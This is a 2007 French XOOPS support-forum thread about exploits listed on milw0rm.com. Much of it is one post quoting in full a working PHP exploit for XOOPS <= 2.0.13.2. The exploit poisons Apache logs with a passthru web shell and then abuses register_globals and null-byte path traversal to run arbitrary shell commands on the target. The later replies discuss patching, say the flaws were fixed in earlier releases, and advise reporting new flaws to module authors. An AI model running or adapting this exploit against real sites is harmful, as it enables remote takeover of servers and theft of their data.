Fork me on GitHub




(1) 2 »


milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
Messages: 691
Salut

j'ai trouvé un site qui donne des remotes d'injection Mysql dans plusieurs portails, suite à des failles de sécurité découvertes, alors en cherchant Xoops et en regardant ces remotes, on peux bien trouver des Failles, faut juste savoir les corriger .

Chercher "xoops" sur milw0rm.com


CIA

Posté le : 03/06/2007 23:20

La plupart des questions sur Xoops ont des réponses dans le eBook: Bien débuter avec Xoops
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Guest_
Ouf... suis à jour dans les modules (presque... manque Protector3 mais bon c'est en english)

Par contre le core... sais pô

J'vais p't être passer directement à la 2.0.17 d'Hervé

@+

Posté le : 03/06/2007 23:25
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
Messages: 691
y a aussi dans le cat_id de articles ( news mntnt je crois )
et dans le misc.php
.......

alors t'as pas le Phone des Forts Xoopsistes ? car ça sent la Mrd ^^


Regardez ça :

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XOOPS <= 2.0.13.2 'xoopsOption[nocommon]' exploitrn";
echo "by rgod rgod@autistici.orgrn";
echo "site: http://retrogod.altervista.orgrnrn";

/*
 works with:
  magic_quotes_gpc = Off
  register_globals = On
*/

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn";
echo "host:      target server (ip/hostname)rn";
echo "path:      path to xoopsrn";
echo "cmd:       a shell commandrn";
echo "Options:rn";
echo "   -p[port]:    specify a port other than 80rn";
echo "   -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /xoops/ rn";
echo "php ".$argv[0]." localhost /xoops/ ls -la -p81rn";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn";
die;
}

/* hi, back from my annual social engineering tour, this year in Milan ;)
   welcome to this new 0day experience...
   explaination:

   vulnerable code in mainfile.php at lines 94-96:
   ...[b]
   if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {
        include XOOPS_ROOT_PATH."/include/common.php";
    }
   ...[/b]

   if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to
   skip common.php inclusion where $xoopsConfig['language'] and
   $xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off
   you can include arbitrary files from local resources, ex., Apache log files:

   http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]=../../../../../../../../../../var/log/httpd/access_log%00
   http://[target]/[path]/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../../../../../../../../../../var/log/httpd/error_log%00

   or, if avatar uploads are enabled:

   http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]=../uploads/cavt44703c30d3dbf.jpg%00

   this tool inject some php code in apache log files and try to launch commands
                                          */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
  }
 return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "rn".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...rnrn";
$CODE="*delim*<?php error_reporting(0);set_time_limit(0);passthru($_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0rn";
$packet.="User-Agent: ".$CODE." Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: closernrn";
sendpacketii($packet);
sleep(1);

//fill with possible locations...
$paths=array(
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

$xpl= array (
         "misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=",
         "index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]="
         );

for ($j=0; $j<=count($xpl)-1; $j++)
{
  for ($i=0; $i<=count($paths)-1; $i++)
  {
  $a=$i+2;
  echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00rn";
  $packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0rn";
  $packet.="Host: ".$host."rn";
  $packet.="Cookie: cmd=".$cmd.";rn";
  $packet.="Connection: Closernrn";
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);
  if (strstr($html,"*delim*"))
    {
      echo "Exploit succeeded...rn";
      $temp=explode("*delim*",$html);
      die($temp[1]);
    }
  }
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-05-21]


:-o

édité par blueteen : les balises code sont plus adaptées que les balises quote, pour les portions de code, ça évite de déformer la page

Posté le : 03/06/2007 23:30

La plupart des questions sur Xoops ont des réponses dans le eBook: Bien débuter avec Xoops
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 21/11/2004 17:40
De Un petit coin de Belgique
Messages: 826
modules/core n'est pas dans la base de xoops 2.0.16, c'est un module en plus, mais je ne sais pas lequel!

Pour xoops c'est /moodules/system

Posté le : 03/06/2007 23:34
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
Messages: 691
ça n'empêche de Se sécuriser


To Be Continued

Posté le : 04/06/2007 00:06

La plupart des questions sur Xoops ont des réponses dans le eBook: Bien débuter avec Xoops
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Xoops accro
Inscrit: 04/02/2003 01:54
De Le Mans
Messages: 12273
Le module core est une ancienne version clonée de wfdownloads dont le correctif a été fourni en avril je crois, elle n'était utilisée que sur xoops.org et peut être quelques autres sites supports.

Posté le : 04/06/2007 02:22
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
Messages: 691
mais quand Burning a parlé du core, c'est juste une goûte dans une mer, alors il faut quand même voir les autres failles, et vérifier s'elles sont bien corrigées.


CIA

Posté le : 04/06/2007 12:40

La plupart des questions sur Xoops ont des réponses dans le eBook: Bien débuter avec Xoops
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Xoops accro
Inscrit: 04/02/2003 01:54
De Le Mans
Messages: 12273
Bon on va remettre les pendules à l'heure !

1) le module core servait (ou sers encore) comme module de téléchargement des versions sur certains sites support. Comme je l'indique plus haut il a fait l'objet d'une alerte de sécurité qui a été corrigée aussitôt. Cela n'a rien à voir avec le noyau de Xoops.

2)y a aussi dans le cat_id de articles ( news mntnt je crois )
Il ne faut pas confondre ces deux modules qui n'ont pas le même code le module Articles n'a rien à voir avec le module News. La faille relevée dans le module Articles concernait une ancienne version qui avait été mise à jour depuis.

3)misc.php
Pas de problèmes pour faire remonter les failles de sécurité, mais il faut être un peu sérieux cette anomalie a été corrigée depuis la version
2.0.12!

Posté le : 04/06/2007 12:50
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Semi pro
Inscrit: 06/09/2005 11:47
De Barcelone - Espagne
Messages: 691
Merci Christian , mais j'éspère que t'as vu les remotes dans ce site, car articles/misc/core...ce ne sont que des exemple, j'allais pas tout coller ici quand même.

il y'en a bien d'autres que je te laisserai découvrir dans les remotes, je veux pas faire de vague avec ce sujet, ni ne pas être sérieux, par contre, j'ai de but évolutionnaire, alors je poste sans "cache"

j'éspère que je mesuis bien fait comprendre.

CIA

Posté le : 04/06/2007 13:06

La plupart des questions sur Xoops ont des réponses dans le eBook: Bien débuter avec Xoops
Partager Twitter Partagez cette article sur GG+
Re: milw0rm.com un site montrant les Failles de Xoops
Xoops accro
Inscrit: 15/07/2004 11:16
Messages: 4763
c'est bien d'avoir donné ce lien, pour ceux qui voudraient voir si leurs versions en cours ont des failles.

mais il y a trois cas de figures :

-soit vous utilisez une vieille version, qui a des failles, et vous mettez simplement à jour. (si le module est suivi et qu'une mise à jour est disponible).

-soit vous utilisez une vielle version (alors qu'une récente existe), qui n'a pas de failles connues, et vous continuez à prendre le risque d'utiliser cette version.

-soit vous utilisez la dernière version, et elle a une faille recensée sur le site que tu indiques (qui n'est qu'un seul des nombreux sites traitant de sécurité dans les scripts),
et à ce moment-là vous avertissez l'auteur du module en donnant les détails (ou au pire ici sur le forum).

Posté le : 04/06/2007 14:01
Partager Twitter Partagez cette article sur GG+

 Haut   Précédent   Suivant
(1) 2 »



Vous pouvez voir les sujets.
Vous ne pouvez pas débuter de nouveaux sujets.
Vous ne pouvez pas répondre aux contributions.
Vous ne pouvez pas éditer vos contributions.
Vous ne pouvez pas effacez vos contributions.
Vous ne pouvez pas ajouter de nouveaux sondages.
Vous ne pouvez pas voter en sondage.
Vous ne pouvez pas attacher des fichiers à vos contributions.
Vous ne pouvez pas poster sans approbation.

Propulsé avec XOOPS | Graphisme adapté par Tatane, Grosdunord, Montuy337513

57 Personne(s) en ligne (41 Personne(s) connectée(s) sur Forum) | Utilisateur(s): 0 | Invité(s): 57 | Plus ...